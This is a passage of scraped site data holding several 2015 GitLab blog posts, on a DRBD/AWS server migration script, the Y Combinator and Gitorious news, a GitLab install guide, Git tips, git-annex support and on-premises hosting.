following\nscript.\n\n```\n#!/bin/sh\nblock_count=100\nblock_size='8M'\nremote='54.93.71.23'\n\nsend_blocks() {\n  for skip in $(seq $1 ${block_count} $2) ; do\n    echo \"${skip}   $(date)\"\n    sudo dd if=/dev/gitlab_vg/truck bs=${block_size} count=${block_count} skip=${skip} status=noxfer iflag=fullblock \\\n    | ssh -T ${remote} sudo dd of=/dev/gitlab_vg/gitlab_com bs=${block_size} count=${block_count} seek=${skip} status=none iflag=fullblock\n  done\n}\n\ncheck_blocks() {\n  for skip in $(seq $2 ${block_count} $3) ; do\n    printf \"${skip}   \"\n    sudo dd if=$1 bs=${block_size} count=${block_count} skip=${skip} iflag=fullblock | md5sum\n  done\n}\n\ncase $1 in\n  send)\n    send_blocks $2 $3\n    ;;\n  check)\n    check_blocks $2 $3 $4\n    ;;\n  *)\n    echo \"Usage: $0 (send START END) | (check BLOCK_DEVICE START END)\"\n    exit 127\nesac\n```\n\nBy running this script in a [screen](http://www.gnu.org/software/screen/)\nsession I was able to copy the LVM snapshot `/dev/gitlab_vg/truck` from the old\nserver to the new server in about 3.5 days, 800 MB at a time. The 800MB number\nwas a bit of a coincidence, stemming from the recommendation from our Dutch\nhosters [NetCompany](http://www.netcompany.nl/) to use 8MB `dd`-blocks. Also\ncoincidentally, the total disk size was divisible by 8MB. If you have an eye\nfor system security you might notice that the script needed both root\nprivileges on the source server, and via short-lived unattended SSH sessions\ninto the remote server (`| ssh sudo ...`). This is not a normal thing for us to\ndo, and my colleagues got spammed by warning messages about it while this\nmigration was in progress.\n\nBecause I am a little paranoid, I was running a second instance of this script\nin parallel with the sync, where I was calculating MD5 checksums of all the\nblocks that were being sent across the network. By calculating the same\nchecksums on the migration target I could gain sufficient confidence that all\ndata made across without errors. If there would have been any, the script would\nhave made it easy to re-send an individual 800MB block.\n\nAt this point my spirits were lifting again and I told my teammates we would\nprobably need one extra day after the 'truck' stage before we could start using\nthe new server. I did not know yet that 'one day' would become 'one week'.\n\n## Shipping too much data\n\nAfter moving the big snapshot across the network with\n[dd](http://en.wikipedia.org/wiki/Dd_%28Unix%29) and SSH, the next step would\nbe to 'just turn DRBD on and let it catch up'. But that did not work all of a\nsudden! It took me a while to realize that the problem was that while trucking,\nI had sent _too much_ data to the new server (theo). If you recall the picture\nI drew earlier of the three-way DRBD replication then you can see that the goal\nwas to replicate the 'green box' from the old servers to the new server, while\nletting the old servers keep sharing the 'blue box' for redundancy.\n\n![Blue box on the left, green box on the\nright](https://about.gitlab.com/images/drbd/drbd-too-much-data.png)\n\nBut I had just sent a snapshot of the _blue_ box to theo (the server on the\nright), not just the green box. DRBD was refusing to turn back on theo,\nbecause it was expecting the green box, not the blue box (containing the green\nbox). More precisely, my disk on the new server contained metadata for drbd0 as\nwell as drbd10. DRBD finds its metadata by starting at the end of the disk and\nwalking backwards. Because of that, it was not seeing the drbd10 (green)\nmetadata on theo.\n\n![Two metadata block](https://about.gitlab.com/images/drbd/drbd-two-metadata-blocks.png)\n\nThe first thing I tried was to shrink the disk (with\n[LVM](http://en.wikipedia.org/wiki/Logical_Volume_Manager_%28Linux%29)) so that\nthe blue block at the end would fall off. Unfortunately, you can only grow and\nshrink LVM disks in fixed steps (4MB steps in our case), and those steps did\nnot align with where the drbd10 metadata (green box) ended on disk.\n\nThe next thing I tried was to erase the blue block. That would leave DRBD\nunable to find any metadata, because DRBD metadata must sit at the end of the\ndisk. To cope with that I tried and trick DRBD into thinking it was in the\nmiddle of a disk resize operation. By manually creating a doctored\n`/var/lib/drbd/drbd-minor-10.lkbd` file used by DRBD when it does a\n(legitimate) disk resize, I was pointing it to where I thought it could find\nthe green block of drbd10 metadata. To be honest this required more disk sector\narithmetic than I was comfortable with. Comfortable or not, I never got this\nprocedure to work without a few screens full of scary DRBD error messages so I\ndecided to call our first truck expedition a bust.\n\n## One last try\n\nWe had just spent four days waiting for a 9TB chunk of data to be transported\nto our new server only to find out that it was getting rejected by DRBD. The\nonly option that seemed left to us was to sit back and wait 50-60 days for a\nregular DRBD sync to happen. There was just this one last thing I wanted to try\nbefore giving up. The stumbling block at this point was getting DRBD on theo to\nfind the metadata for the drbd10 disk. From reading the documentation, I knew\nthat DRBD has metadata export and import commands. What if we would take a new\nLVM snapshot in Delft, take the disk offline and export its metadata, and then\non the other hand do a metadata import with the proper DRBD import command\n(instead of me writing zeroes to the disk and lying to DRBD about being in the\nmiddle of a resize). This would require us to redo the truck dance and wait\nfour days, but four days was still better than 50 days.\n\nUsing the staging setup I built at the start of this process (a good time\ninvestment!) I created a setup that allowed me to test three-way replication\nand truck-based replication at the same time. Without having to do any\narithmetic I came up with an intimidating but reliable sequence of commands to\n(1) initiate truck based replication and (2) export the DRBD metadata.\n\n```\nsudo lvremove -f gitlab_vg/truck\n## clear the bitmap to mark the sync point in time\nsudo drbdadm disconnect --stacked gitlab_data-stacked\nsudo drbdadm new-current-uuid --clear-bitmap --stacked gitlab_data-stacked/0\n## create a metadata dump\necho Yes | sudo gitlab-drbd slave\nsudo drbdadm primary gitlab_data\nsudo drbdadm apply-al --stacked gitlab_data-stacked\nsudo drbdadm dump-md --stacked gitlab_data-stacked > stacked-md-$(date +%s).txt\n## Create a block device snapshot\nsudo lvcreate -n truck -s --extents 50%FREE gitlab_vg/drbd\n## Turn gitlab back on\necho Yes |sudo gitlab-drbd slave\necho Yes |sudo gitlab-drbd master\n## Make sure the current node will 'win' as primary later on\nsudo drbdadm new-current-uuid --stacked gitlab_data-stacked/0\n```\n\nThis time I needed to take gitlab.com offline for a few minutes to be able to\ndo the metadata export. After that, a second waiting period of 4 days of\nstreaming the disk snapshot with `dd` and `ssh` commenced. And then came the\nbig moment of turning DRBD back on theo. It worked! Now I just had to wait\nfor the changes on disk of the last four days to be replicated (which took\nabout a day) and we were ready to flip the big switch, update the DNS and start\nserving gitlab.com from AWS. That final transition took another 10 minutes of\ndowntime, and then we were done.\n\n## Looking back\n\nAs soon as we flipped the switch and started operating out of AWS/Frankfurt,\ngitlab.com became noticeably more responsive. This is in spite of the fact that\nwe are _still_ running on a single server (an [AWS\nc3.8xlarge](http://aws.amazon.com/ec2/instance-types/#c3) instance at the\nmoment).\n\nCounting from the moment I was tasked to work on this data migration, we were\nable to move a 9TB filesystem to a different data center and hosting provider\nin three weeks, requiring 20 minutes of total downtime (spread over three\nmaintenance windows). We took an operational risk of prolonged downtime due to\noperator confusion in case of incidents, by deploying a new configuration that\nwhile tested to some degree was understood by only one member of the operations\nteam (myself). We were lucky that there was no incident during those three\nweeks that made this lack of shared knowledge a problem.\n\nNow if you will excuse me I have to go and explain to my colleagues how our\nnew gitlab.com infrastructure on AWS is set up. :)\n",{"slug":39938,"featured":6,"template":678},"moving-all-your-data","content:en-us:blog:moving-all-your-data.yml","Moving All Your Data","en-us/blog/moving-all-your-data.yml","en-us/blog/moving-all-your-data",{"_path":39944,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39945,"content":39951,"config":39955,"_id":39957,"_type":16,"title":39958,"_source":17,"_file":39959,"_stem":39960,"_extension":20},"/en-us/blog/gitlab-is-part-of-the-y-combinator-family",{"title":39946,"description":39947,"ogTitle":39946,"ogDescription":39947,"noIndex":6,"ogImage":39948,"ogUrl":39949,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39949,"schema":39950},"GitLab is part of the Y Combinator family","Y Combinator is a Silicon Valley based seed fund that provides mentorship, advice and connections to a meticulously selected group of startups","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683704/Blog/Hero%20Images/yc.jpg","https://about.gitlab.com/blog/gitlab-is-part-of-the-y-combinator-family","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is part of the Y Combinator family\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-03-04\",\n      }",{"title":39946,"description":39947,"authors":39952,"heroImage":39948,"date":39953,"body":39954,"category":299},[3532],"2015-03-04","\n\nAs [reported by Techcrunch](http://techcrunch.com/2015/03/03/the-great-git-debate/) we’re part of Y Combinator’s winter 2015 batch!\n\nY Combinator, a Silicon Valley based seed fund, provides mentorship, advice and connections to a meticulously selected group of startups in two batches each year. Previous startups that went to the program include Dropbox, AirBnB, Stripe and Reddit. Y Combinator has also funded some of the best tools for developer community - including Heroku, CoreOS and Docker. Being selected by Y Combinator is a fantastic opportunity to learn from successful startup founders and leverage the experience of Y Combinators’ extensive network.\n\n\u003C!-- more -->\n\nAt first glance, it might not seem obvious for our company to join Y Combinator since we already have 10 employees and hundreds of paying clients. The reason for joining was learning more about how to grow as a company. We were always really focussed on GitLab and of course we never want to lose that. But we want to avoid as many mistakes made by fast growing companies and to learn from the Y Combinator partners that have seen hundreds of organizations growing fast. There are regular events that feature experts in all facets of building a company, from user retention to enterprise sales. And it is great to hear stories from other startups,what they have overcame and how relentlessly resourceful they have been.\n\nOur team has moved to Mountain View for the program to both focus and learn from the broader Silicon Valley ecosystem. Having the whole team in together Silicon Valley has been a great opportunity to bond with each other and work with some of our larger customers. Going forward we’ll continue to have most of our people working remotely but we’re also hiring for an inside-sales and a director of sales position in San Francisco.\n\nWe think that what we are learning at Y Combinator will help us deliver a better product and service to all GitLab users. Our commitment to shipping a great open source product has never been greater. Feel free to ask any questions you might have in the comments below.\n",{"slug":39956,"featured":6,"template":678},"gitlab-is-part-of-the-y-combinator-family","content:en-us:blog:gitlab-is-part-of-the-y-combinator-family.yml","Gitlab Is Part Of The Y Combinator Family","en-us/blog/gitlab-is-part-of-the-y-combinator-family.yml","en-us/blog/gitlab-is-part-of-the-y-combinator-family",{"_path":39962,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39963,"content":39969,"config":39974,"_id":39976,"_type":16,"title":39977,"_source":17,"_file":39978,"_stem":39979,"_extension":20},"/en-us/blog/gitlab-acquires-gitorious",{"title":39964,"description":39965,"ogTitle":39964,"ogDescription":39965,"noIndex":6,"ogImage":39966,"ogUrl":39967,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39967,"schema":39968},"GitLab acquires Gitorious to strengthen on-premises offerings","GitLab and Gitorious announce today they are joining forces to strengthen the development of GitLab’s open source Git management application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683712/Blog/Hero%20Images/water.jpg","https://about.gitlab.com/blog/gitlab-acquires-gitorious","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab acquires Gitorious to bolster its on premises code collaboration platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-03-03\",\n      }",{"title":39970,"description":39965,"authors":39971,"heroImage":39966,"date":39972,"body":39973,"category":299},"GitLab acquires Gitorious to bolster its on premises code collaboration platform",[3532],"2015-03-03","\n\nAs [reported by the Next Web](http://thenextweb.com/insider/2015/03/03/gitlab-acquires-rival-gitorious-will-shut-june-1/) GitLab and Gitorious announce today they are joining forces in an effort to strengthen the development of GitLab’s [open source Git management application](/solutions/source-code-management/) and provide Gitorious customers with an enhanced user experience.\n\nSince 2008, Gitorious has been one of the leading providers for open source hosting and on-premises enterprise Git management around the globe. Gitorious was the first widely used open source Git management application.\n\n“We believe that, in the long term, coming together under one umbrella with a common goal will benefit everyone, so we are getting that process started today” says GitLab CEO, Sytse Sijbrandij.\n\n\u003C!-- more -->\n\nGitLab is a simple upgrade path for existing Gitorious users. GitLab offers Git repository management, code reviews, issue tracking, activity feeds, wikis and continuous integration.\n\nRolf Bjaanes, Gitorious CEO, gives some background on the reasons for the acquisition: “At Gitorious we saw more and more organizations adopting GitLab. Due to decreased income from on-premises customers, running the free Gitorious.org was no longer sustainable. GitLab was solving the same problem that we were, but was solving it better.”\n\n“This acquisition will accelerate the growth of GitLab. With more than 100,000 organizations using it, it is already the most used on-premises solution for Git repository management, and bringing Gitorious into the fold will significantly increase that footprint.” says Sytse Sijbrandij, GitLab CEO.\n\nStarting today, Gitorious.org users can import their existing projects into GitLab.com by clicking the “Import projects from Gitorious.org” link when creating a new project. Gitorious.org will stay online until the end of May 2015 to give people time to migrate their repositories. Existing users of Gitorious on-premises can [contact sales](/sales/) for more information.\n\nWe are both confident that the communities around GitLab and Gitorious will see the advantage of combining our strengths to make the best open source software to collaborate on code.\n\n",{"slug":39975,"featured":6,"template":678},"gitlab-acquires-gitorious","content:en-us:blog:gitlab-acquires-gitorious.yml","Gitlab Acquires Gitorious","en-us/blog/gitlab-acquires-gitorious.yml","en-us/blog/gitlab-acquires-gitorious",{"_path":39981,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39982,"content":39988,"config":39992,"_id":39994,"_type":16,"title":39995,"_source":17,"_file":39996,"_stem":39997,"_extension":20},"/en-us/blog/how-to-install-gitlab",{"title":39983,"description":39984,"ogTitle":39983,"ogDescription":39984,"noIndex":6,"ogImage":39985,"ogUrl":39986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39986,"schema":39987},"How to install GitLab on your own domain","Want to get your first own GitLab instance running? Use these easy to follow instructions and you will be active in no time!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684373/Blog/Hero%20Images/installing.jpg","https://about.gitlab.com/blog/how-to-install-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to install GitLab on your own domain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-02-24\",\n      }",{"title":39983,"description":39984,"authors":39989,"heroImage":39985,"date":39990,"body":39991,"category":734},[36660],"2015-02-24","\n\nWant to get your first own GitLab instance running?\nWe're here to help!\n\nThis is what you need to do:\n\n1. Get a VM\n2. Point your domain to GitLab\n3. Install GitLab\n4. Use GitLab\n\n\u003C!-- more -->\n\n\u003Cbr />\n\n## 1. Get a VM\n\nIt's a good time to want to have a VM.\nYou can get one cheap and easily from:\n\n- DigitalOcean\n- Amazon AWS\n- Google Compute\n- Microsoft Azure\n- Dreamhost\n- Linode\n\nIf it's just for you, almost any size will do.\nWe [recommend](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/install/requirements.md#cpu)\nto get a VM with 2 cores and 2GB of memory.\nIt can handle you and all your friends.\n\nDigitalOcean is particularly nice to use and even has a one-click install\nfor GitLab, which bypasses this tutorial completely!\n\nIf you have the option to set the domain name in the process,\nset it to the domain where you want your GitLab domain to be.\n\n![set hostname](https://about.gitlab.com/images/how_to/hostname.png)\n\nYou can create a VM with any of the supported OS's,\nbut if you have no preference, use Ubuntu 14.04 x64.\n\n![choose os](https://about.gitlab.com/images/how_to/choose_os.png)\n\nCreate the VM and take note of the assigned IP for your domain.\n\n![take not of ip](https://about.gitlab.com/images/how_to/ip.png)\n\n## 2. Point your domain to GitLab\n\nAt the place you bought your domain name,\nyou want to point your GitLab domain to the IP address you noted.\n\nCreate an A-Type record set with the GitLab domain as name\nand the IP address as value.\n\nThat may sound arcane, but most domain-resellers make it quite easy.\n\nIn my case, I'm pointing `104.236.58.42` (IP) to `gitlab.jobvandervoort.com`.\n\n## 3. Install GitLab\n\nGo into your new VM by pointing your terminal to your new domain:\n\n```\nssh root@gitlab.jobvandervoort.com\n```\n\nIf you're using DigitalOcean, you can also use their web console.\n\nNext, install Postfix:\n\n```\nsudo apt-get install postfix\n```\n\nSelect `Internet site`. Just keep hitting ENTER. The defaults will work.\n\nDownload and unpack GitLab! We're getting GitLab 7.8.0 Community Edition.\nIt comes together with GitLab CI 7.8.0 and is full of awesomeness.\n\n```\nwget https://downloads-packages.s3.amazonaws.com/ubuntu-14.04/gitlab_7.8.0-omnibus-1_amd64.deb\nsudo dpkg -i gitlab_7.8.0-omnibus-1_amd64.deb\n```\n\nConfigure and start GitLab:\n\n```\nsudo gitlab-ctl reconfigure\n```\n\n## 4. Use GitLab\n\nGo to your domain and sign in! Use these credentials for the first time:\n\n```\nUsername: root\nPassword: 5iveL!fe\n```\n\nHave fun!\n",{"slug":39993,"featured":6,"template":678},"how-to-install-gitlab","content:en-us:blog:how-to-install-gitlab.yml","How To Install Gitlab","en-us/blog/how-to-install-gitlab.yml","en-us/blog/how-to-install-gitlab",{"_path":39999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40000,"content":40006,"config":40010,"_id":40012,"_type":16,"title":40013,"_source":17,"_file":40014,"_stem":40015,"_extension":20},"/en-us/blog/8-tips-to-help-you-work-better-with-git",{"title":40001,"description":40002,"ogTitle":40001,"ogDescription":40002,"noIndex":6,"ogImage":40003,"ogUrl":40004,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40004,"schema":40005},"8 Tips to help you work better with Git","Read our eight tips that will ensure you perform better with git and help to improve your workflow today. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684361/Blog/Hero%20Images/leaves.jpg","https://about.gitlab.com/blog/8-tips-to-help-you-work-better-with-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"8 Tips to help you work better with Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2015-02-19\",\n      }",{"title":40001,"description":40002,"authors":40007,"heroImage":40003,"date":40008,"body":40009,"category":813},[38543],"2015-02-19","\n\nGit is a very powerful [version control system](/topics/version-control/). It can be a little bit daunting to try to learn everything around it, so\nmost people just use the basic commands. We want to give you here some help with some tips you may or may not have heard.\nEither way, these tips can make your workflow a little easier.\n\n\u003C!-- more -->\n\n## Git aliases\n\nOne of the best ways to ease your daily workflow with Git is to create aliases for common commands you use every day. This\ncan save you some time in the terminal.\n\nYou can use the following commands to create aliases for the most used Git commands, `checkout`, `commit` and `branch`.\n\n```\ngit config --global alias.co checkout\ngit config --global alias.ci commit\ngit config --global alias.br branch\n```\n\nThis way, instead of typing `git checkout master` you only need to type `git co master`.\n\nYou could also edit them or add more by modifying the `~/.gitconfig` file directly:\n\n```\n[alias]\n    co = checkout\n    ci = commit\n    br = branch\n```\n\n## Stashing uncommitted changes\n\nLet’s say we are working on a new feature, but there is an emergency and we need to fix to our project immediately.\nWe don’t want to commit an unfinished feature, and we also don’t want to lose our current changes.\n\nThe solution is to temporarily remove these changes with the git stash command:\n\n```\n$ git stash\n```\n\nThe git stash command hides these changes, giving us a clean working directory. We’re now able to switch to a new\nbranch to make our important updates, without having to commit a meaningless snapshot just to save our current state.\n\nOnce you are done working on the fix and want to show your previous changes again, all you need to is run:\n\n```\n$ git stash pop\n```\n\nAnd your changes will be recovered. If you no longer need those changes and want to clear the stash stack you can do so\nwith:\n\n```\n$ git stash drop\n```\n\n## Compare commits from the command line\n\nAn easy and quick way to compare the differences between commits, or versions of the same file is to use the command\nline. For this you can use the `git diff` command.\n\nIf you want to compare the same file between different commits, you do the following:\n\n```\n$ git diff $start_commit..$end_commit -- path/to/file\n```\n\nAnd if you want to compare the changes between two commits:\n\n```\n$ git diff $start_commit..$end_commit\n```\n\nThese commands will open the diff view inside the terminal, but if you prefer to use a more visual tool to compare your\ndiffs, you can use `git difftool`. A really great diff viewer/editor is Meld.\n\nTo configure Meld:\n\n```\n$ git config --global diff.tool git-meld\n```\n\nNow to start viewing the diffs:\n\n```\n$ git difftool $start_commit..$end_commit -- path/to/file\n# or\n$ git difftool $start_commit..$end_commit\n```\n\n\n## Resetting files\n\nSometimes when you start modifying your code, you realize that the changes you did are not that good and would like to reset\nyour changes. Instead of clicking undo on everything you edited, you can reset your files to the HEAD of the branch:\n\n```\n$ git reset --hard HEAD\n```\n\nOr if you want to reset a single file:\n\n```\n$ git checkout HEAD -- path/to/file\n```\n\nNow, if you already committed your changes, but still want to revert back, you can use:\n\n```\n$ git reset --soft HEAD~1\n```\n\n## Use Git blame more efficiently\n\nGit blame is a great tool for finding out who changed a line in a file, but there are ways you can use it more efficiently.\nYou can pass different flags, depending on what you want to show.\n\n```\n$ git blame -w  # ignores white space\n$ git blame -M  # ignores moving text\n$ git blame -C  # ignores moving text into other files\n```\n\n\u003Chr/>\n\n\nNow that you know some very useful tips about working with Git, let us give you some other tips on how to best use Git\nwithin your workflow.\n\n## Pull frequently\n\nIf you are using the [GitLab Workflow](/solutions/gitlab-flow/), it means that you are working\non feature branches. Depending on how long your feature takes to implement, a lot of changes might have been made to the\nmaster branch.\n\nIn order to avoid major conflicts at the end of the development of your feature, you should pull the changes from the\nmaster branch to your branch often. This will allow you to resolve any possible conflicts as soon as possible and it will\nmake merging your branch to master easier.\n\n## Commit often, but don't push every commit\n\nCommitting your changes often will keep your changes concise and make them easier to revert, if you were to need that. But\nit is not necessary to push every single commit to the server, as it will appear in the activity feed and probably spam\nyour colleagues. Work on your changes until you are ready to push.\n\n## Push when changes are tested\n\nA nice sign that your changes are ready to push is when they have been tested and the tests are green. This usually also\nmeans that this part of your feature is done and you can concentrate on the next part. Push your changes once this has been\ndone and let the CI server test them again.\n",{"slug":40011,"featured":6,"template":678},"8-tips-to-help-you-work-better-with-git","content:en-us:blog:8-tips-to-help-you-work-better-with-git.yml","8 Tips To Help You Work Better With Git","en-us/blog/8-tips-to-help-you-work-better-with-git.yml","en-us/blog/8-tips-to-help-you-work-better-with-git",{"_path":40017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40018,"content":40024,"config":40029,"_id":40031,"_type":16,"title":40032,"_source":17,"_file":40033,"_stem":40034,"_extension":20},"/en-us/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git",{"title":40019,"description":40020,"ogTitle":40019,"ogDescription":40020,"noIndex":6,"ogImage":40021,"ogUrl":40022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40022,"schema":40023},"GitLab Annex enables versioning of large binaries with git","GitLab solves the biggest limitation of git compared to some older centralized version control systems has been the maximum size of the repositories.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666750/Blog/Hero%20Images/annex.jpg","https://about.gitlab.com/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Annex solves the problem of versioning large binaries with git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-02-17\",\n      }",{"title":40025,"description":40020,"authors":40026,"heroImage":40021,"date":40027,"body":40028,"category":299},"GitLab Annex solves the problem of versioning large binaries with git",[3532],"2015-02-17","\n\u003Ci class=\"fas fa-exclamation-triangle gitlab-orange\" aria-hidden=\"true\">\u003C/i>\n\u003Cspan class=\"red\">**WARNING**\u003C/span>\n\u003Ci class=\"fas fa-exclamation-triangle gitlab-orange\" aria-hidden=\"true\">\u003C/i>\n**git-annex** support on GitLab EE was **deprecated** in\n[GitLab 8.17](/releases/2017/02/22/gitlab-8-17-released/#git-annex-support) (2017/02/22),\nand was [**permanently removed**](https://gitlab.com/gitlab-org/gitlab-ee/issues/1648) in\n[GitLab 9.0](/releases/2017/03/22/gitlab-9-0-released/#git-annex-deprecation) (2017/03/22). Read through the\nmigration guide [from git-annex to git-lfs](https://docs.gitlab.com/ee/topics/git/lfs/migrate_to_git_lfs.html).\n\u003Cspan class=\"note\">Updated on 2017/04/04.\u003C/span>\n{:.alert .alert-warning .black}\n\nThe biggest limitation of git compared to some older centralized [version control systems](/topics/version-control/) has been the maximum size of the repositories.\nThe general recommendation is to not have git repositories larger than 1GB to preserve performance.\nAlthough GitLab has no limit (some repositories in GitLab are over 50GB!) we subscribe to the advice to keep repositories as small as you can.\n\nNot being able to version control large binaries is a big problem for many larger organizations.\nVideo, photo's, audio, compiled binaries and many other types of files are too large.\nAs a workaround, people keep artwork-in-progress in a Dropbox folder and only check in the final result.\nThis results in using outdated files, not having a complete history and the risk of losing work.\n\nIn GitLab 7.8 Enterprise Edition this problem is solved by integrating the awesome [git-annex](https://git-annex.branchable.com/).\nGit-annex allows managing large binaries with git, without checking the contents into git.\nYou check in only a symlink that contains the SHA-1 of the large binary.\nIf you need the large binary you can sync it from the GitLab server over rsync, a very fast file copying tool.\n\n\u003C!-- more -->\n\n## Using GitLab Annex\n\nFor example, if you want to upload a very large file and check it into your Git repository:\n\n```bash\ngit clone git@gitlab.example.com:group/project.git\ngit annex init 'My Laptop'            # initialize the annex project\ncp ~/tmp/debian.iso ./                # copy a large file into the current directory\ngit annex add .                       # add the large file to git annex\ngit commit -am \"Added Debian iso\"      # commit the file meta data\ngit annex sync --content              # sync the git repo and large file to the GitLab server\n```\n\nDownloading a single large file is also very simple:\n\n```bash\ngit clone git@gitlab.example.com:group/project.git\ngit annex sync                        # sync git branches but not the large file\ngit annex get debian.iso              # download the large file\n```\n\nTo download all files:\n\n```bash\ngit clone git@gitlab.example.com:group/project.git\ngit annex sync --content              # sync git branches and download all the large files\n```\n\nBy integrating git-annex into GitLab it becomes much easier and safer to use.\nYou don't have to set up git-annex on a separate server or add annex remotes to the repository.\nGit-annex without GitLab gives everyone that can access the server access to the files of all projects.\nGitLab annex ensures you can only access files of projects you work on (developer, master or owner role).\n\n## How it works\n\nAs far as we know GitLab is the first git repository management solution that integrates git-annex.\nThis is possible because both git-annex and GitLab stay very close to the unix paradigms.\nInternally GitLab uses [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) to handle ssh access and this was a great integration point for git-annex.\nWe've added a setting to GitLab Shell so you can disable GitLab Annex support if you don't want it.\n\nOf course we are very thankful for the awesome git-annex software that makes all of this possible.\nIt was mainly written by Joey Hess whose work is sponsored by [community fundraisers](https://campaign.joeyh.name/).\nIt may be interesting to know that git-annex is [written in Haskell](http://joeyh.name/screencasts/git-annex_coding_in_haskell/), making it very fast and reliable.\n\nTo use GitLab annex you have to use GitLab Enterprise Edition 7.8 (which will be released on February 22) or GitLab.com.\nYou'll have to use the Git over SSH protocol to connect to your GitLab server instead of the Git over HTTPS protocol.\nWe look forward to feedback and enhancements from the rest of the community.\nFor example, it would be nice if the GitLab UI shows the file size of the large file instead of the symlink.\nBut let's first celebrate this milestone, being able to easily version control your large files!\n\n## Update\n\nWe made a video of [Dmitriy](/company/team/#dzaporozhets), CTO of GitLab, explaining how git-annex integrates with GitLab Enterprise Edition. The video is raw and unedited.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6PhmANuSVGE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- custom classes -->\n\n\u003Cstyle>\n  .red { color: red !important; }\n  .black { color: black !important; }\n\u003C/style>\n",{"slug":40030,"featured":6,"template":678},"gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git","content:en-us:blog:gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git.yml","Gitlab Annex Solves The Problem Of Versioning Large Binaries With Git","en-us/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git.yml","en-us/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git",{"_path":40036,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40037,"content":40043,"config":40047,"_id":40049,"_type":16,"title":40050,"_source":17,"_file":40051,"_stem":40052,"_extension":20},"/en-us/blog/why-ship-on-premises-in-the-saas-era",{"title":40038,"description":40039,"ogTitle":40038,"ogDescription":40039,"noIndex":6,"ogImage":40040,"ogUrl":40041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40041,"schema":40042},"Why deploy on-premises in the SaaS era?","Take a moment to view some highlights of the reasons why deploying on-premises in SAAS era is not such a bad idea after all.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684779/Blog/Hero%20Images/on_premises.jpg","https://about.gitlab.com/blog/why-ship-on-premises-in-the-saas-era","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why deploy on-premises in the SaaS era?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haydn Mackay\"}],\n        \"datePublished\": \"2015-02-12\",\n      }",{"title":40038,"description":40039,"authors":40044,"heroImage":40040,"date":40045,"body":40046,"category":8943},[39555],"2015-02-12","\nWhen I started in the software industry 10 years ago the idea of\nputting your company's crown jewels (source code) on someone else's\ninfrastructure was preposterous. It was typically the domain of\nopen-source projects or hobby programmers looking to avoid server\nmanagement, taking backups, etc. Although some services have been\naround since the late 90's it wasn't until the [second half of the last\ndecade](http://en.wikipedia.org/wiki/Comparison_of_source_code_software_hosting_facilities) that 3rd party code hosting became more acceptable, especially\namong SME's. There's been a [proliferation of providers](http://blog.profitbricks.com/top-source-code-repository-hosts/) in the space since.\n\nThe advantages of SaaS over on-premises deployments has been written\nabout ad nauseam and there's certainly good reasons why but let's take\na moment to highlight some of the reasons why on-premises is not such a\nbad idea after all.\n\n\u003C!-- more -->\n\n## Containment\nFirewalls exist to protect private networks from unauthorized access.\nContaining your companies IP to within their own network puts the\nsecurity onus squarely on them and they can lock it down like Fort Knox\nshould they wish. Let's not forget what [happened to poor old Code\nSpace](http://www.infoworld.com/article/2608076/data-center/murder-in-the-amazon-cloud.html). Lots of lessons learned after the attack but with a hosting\nprovider you're still putting the kids in someone else's car and you're\nnot driving.\n\n## Integrations – LDAP / AD and others\nManaging permissions and access controls to code repositories is an\nimportant responsibility. Having the ability to authenticate users\nagainst an LDAP or Active Directory server makes this task less\ndaunting because they contain the single source of truth about an\nemployee's status. Furthermore, synchronizing LDAP and AD groups to your\ndevelopment project groups automates access controls by ensuring up to\ndate visibility levels. Using a multi tenant hosting provider makes\nauthentication against LDAP and AD servers impossible.\n\nOn premise servers are also much more conducive to integrating with\nother tools in your CD pipeline such as ALM, PLM, [Agile](/solutions/agile-delivery/) and Automation\ntools. Hosted services usually provide a small selection of  